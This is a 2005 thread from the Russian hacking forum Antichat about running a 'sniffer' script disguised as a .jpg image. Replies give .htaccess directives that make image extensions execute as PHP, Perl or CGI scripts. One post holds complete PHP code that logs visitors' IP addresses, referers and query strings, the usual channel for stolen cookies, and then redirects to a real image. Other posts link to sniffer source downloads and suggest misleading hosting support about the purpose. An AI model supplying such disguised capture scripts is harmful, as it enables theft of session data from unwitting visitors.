Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Как зделать Jpg сниффер??? (https://forum.antichat.xyz/showthread.php?t=6738)

GooF 25.05.2005 17:46

Как зделать Jpg сниффер???
 
Зделал сниффер он пашет (Ура ура ура) Но некоторые браузеры посут то что это сниффер и недают открыть его с расширением pl а когда я меняю расширение на сниффере с pl на jpg он перестаёт работать. Че делать?

KEZ 25.05.2005 17:59

Браузеры сами по себе ничего пасти не могут - не коровы.

Grrl 26.05.2005 00:13

Чтобы он работал с расширением jpg надо в .htaccess прописать
ForceType application/x-httpd-php а в снифе
header("Content-type: image/gif");
include("pic.jpg");
Или че-то такое на память не скажу точно.
Ищи по форуму,эта тема уже разжовывалась многократно.
А вообще не парься и юзай античатовский снифф,
Тебе меньше гемора будет.

PinkPanther 26.05.2005 01:49

Цитата:

Сообщение от Grrl
Чтобы он работал с расширением jpg надо в .htaccess прописать
ForceType application/x-httpd-php

Какой x-httpd-php, сниффер то ведь перловый.

З.Ы. Кстати у меня такая же проблема, люди что делать? Исходник античатовский: http://antichat.ru/sniff/source.php

PinkPanther 26.05.2005 01:52

P.S. Algol,видиш, не у меня одного такие проблемы.

Grrl 26.05.2005 02:14

PinkPanther, сорри ошиблась.Просто помоему на php проще сварганить снифф.
(для меня во всяком случаи)
Да и какой смысл изобретать велосипед,на античате видела исходник хорошего
снифа помоему тут находится http://dreamlife3d.com/pic/sn.rar

nerezus 26.05.2005 09:51

Цитата:

P.S. Algol,видиш, не у меня одного такие проблемы.
Не у тебя одного, ты прав. Но у многих проблем нет. Отгадай, почему =)

100% рабочее

//будут еще темы про снифер в этом разделе - буду вырезать =]

PinkPanther 26.05.2005 15:15

Цитата:

Сообщение от nerezus
Не у тебя одного, ты прав. Но у многих проблем нет. Отгадай, почему =)

Почему??? Могов не хватает, подскажи....
Если перловый снифф работает, а помещенный рядом (тот же перловый но переименованный в картинку) нет, то Я хз.
Блин, если даже Алгол не знает, то Я обратился сюда, пускай может хоть люди посоветуют.

qBiN 26.05.2005 15:41

гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет!
Есть только скрипты которые замаскированы под картинку...
Кстате Grrl все подробно расписала...
Если не понял почитай хелп по миме типам в апаче...
RTFM

qBiN 26.05.2005 15:44

Цитата:

Блин, если даже Алгол не знает...
Блин,Вы что ему покланяетесь что ли? =) Нет,я не говорю что чел ничего не знает и тп. Но ВСЁ НИКТО не может знать.
зы Algol радуйся,у тебя оказывается есть поклонники =)
ззы Алгол ты должен хотя бы афтографы высылать за wmz))

nerezus 26.05.2005 15:52

AddHandler cgi-script sniffer.gif
можешь размещать тогда его в любой папке

nerezus 26.05.2005 15:54

Цитата:

гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет!
см. мою подпись

они при просмотре выполняют код на сервере

PinkPanther 26.05.2005 16:45

Цитата:

Сообщение от qBiN
Блин,Вы что ему покланяетесь что ли? =)
....
зы Algol радуйся,у тебя оказывается есть поклонники =)

Я не позволю никому с меня смеятся, понял? Учти на будущее....
А Алгол тут при том, что снифф написал он, и Я у него консультировался. Вот и всё. На мой вопрос он ответа не знал.

З.Ы. Давай на этом закончим и больше не будем ссорится, ОК?

nerezus 26.05.2005 16:51

Цитата:

AddHandler cgi-script sniffer.gif
Вот ответ, хотя есть еще много способов.

PinkPanther 26.05.2005 17:04

Цитата:

Сообщение от nerezus
Вот ответ, хотя есть еще много способов.

Не то....не работает всё равно...=( =( =(

(-=util=-) 26.05.2005 17:07

ну что снифер нужен:? могу исходник на пхп выложить. или оставьте мыльники

nerezus 26.05.2005 17:56

Код:

<?
// nerezus, 2005, GPL v2

// IF U WANNA USE .png(or .gif, .jpeg)  EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess

$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv('QUERY_STRING'));
$ref=UrlDecode(getenv('HTTP_REFERER'));
$ip=getenv('REMOTE_ADDR');
$now = getdate();
$nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds'];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
fputs ($file, $str);
fclose($file);
header('Location: image.png');
?>

обратите анимание на IF U WANNA USE .png(or .gif, .jpeg) EXT FOR THIS FILE, TYPE AddType application/x-httpd-php .png TO YOUR .htaccess

PinkPanther 26.05.2005 20:01

nerezus спасибо тебе за то что ты пытаешся мне помочь, но дело в том что снифф на PHP у меня есть, и работает он отменно(и в аксцессе у меня всё прописано, и в картинку переименован, и работает!!!). Но просто Я уже начал разбиратся с перловым скриптом, и мне очень интересно довести дело до конца. Именно он у меня и не работает. А с PHP сниффом всё ОК.

qBiN 26.05.2005 20:41

Цитата:

Сообщение от nerezus
см. мою подпись

они при просмотре выполняют код на сервере

Перечитай мой пост.У тебя это явно не картинка,а скрипт который "маскируется" по картинку.
Цитата:

Я не позволю никому с меня смеятся, понял? Учти на будущее....
Да я кажись и не смеялся.Я просто заметил факт.Причем это не столько относилось к тебе,а к "новичкам"
Цитата:

З.Ы. Давай на этом закончим и больше не будем ссорится, ОК?
ок

nerezus 26.05.2005 22:05

PinkPanther, кинь на мейл конфиг апача

PinkPanther 26.05.2005 22:41

У меня хостинг а не ВДС, так что конфига мне не видать. =(
Для справки, хост на majordomo.ru

Elesar 28.05.2005 16:04

re:
 
Создаём файл ".htaccess" (если его ещё нет) и прописываем в него сторчку

Код:

AddType application/x-httpd-pl .jpg
Это должно решить все проблемы(Во всяком случае у меня всё прекрасно работает)

Зы если файл имеет расширение не pl, а например cgi то строка будет выглядеть так:
Код:

AddType application/x-httpd-cgi .jpg
А если картинка имеет другое расширение, например gif то строка будет выглядеть так :
Код:

AddType application/x-httpd-pl .gif
Зыы Надеюсь я все достаточно детально описал и вопросов больше на эту тему не будет

PinkPanther 28.05.2005 17:35

Цитата:

Сообщение от Elesar
Создаём файл ".htaccess" (если его ещё нет) и прописываем в него сторчку
Код:

AddType application/x-httpd-pl .jpg

Да делал Я уже такое, ещё давно, них не помагает. Не фурычет. =(

qBiN 29.05.2005 12:12

ПРосто попроси суппорта разрешить тебе хтассессы...Если спросит зачем скажи типа хачу что бы в картинке ип показывался...Буду на форумах красоваться... Ну или что-то в этом роде...

nerezus 29.05.2005 14:19

Цитата:

Если спросит зачем
Если спросит зачем, надо сказать одно слово: "Надо".

PinkPanther 29.05.2005 18:24

Цитата:

Сообщение от qBiN
ПРосто попроси суппорта разрешить тебе хтассессы...Если спросит зачем скажи типа хачу что бы в картинке ип показывался

Аксцесс у меня разрешен, как я по твоему php снифф заставлял работать. Я же писал.
PHP снифф преобразованный в картинку работает, а вот CGI не хочет. Тем более, для скриптов находящихся в /cgi-bin/ , в аксцессе прописывать не надо.

Тут дело в чем то другом, а в чём, хз...

chin 02.06.2005 11:06

Цитата:

Сообщение от qBiN
гы...
Где ты видел картинки которые при просмотре выполняют код?
Таких нет!
Есть только скрипты которые замаскированы под картинку...

Кхм.. Это скрипт, (такой же, как и все остальные скрипты) который после выполнения возвращает картинку.
Что-то почитал сорс этого перловского скрипта на http://antichat.ru/sniff/source.php
он что, внатуре работает?
Мой совет:
1. Юзайте античатовский
2. Качайте PHP-шный ( http://forum.antichat.ru/showthread.php?t=5568 )
3. Пишите свой


Время: 12:39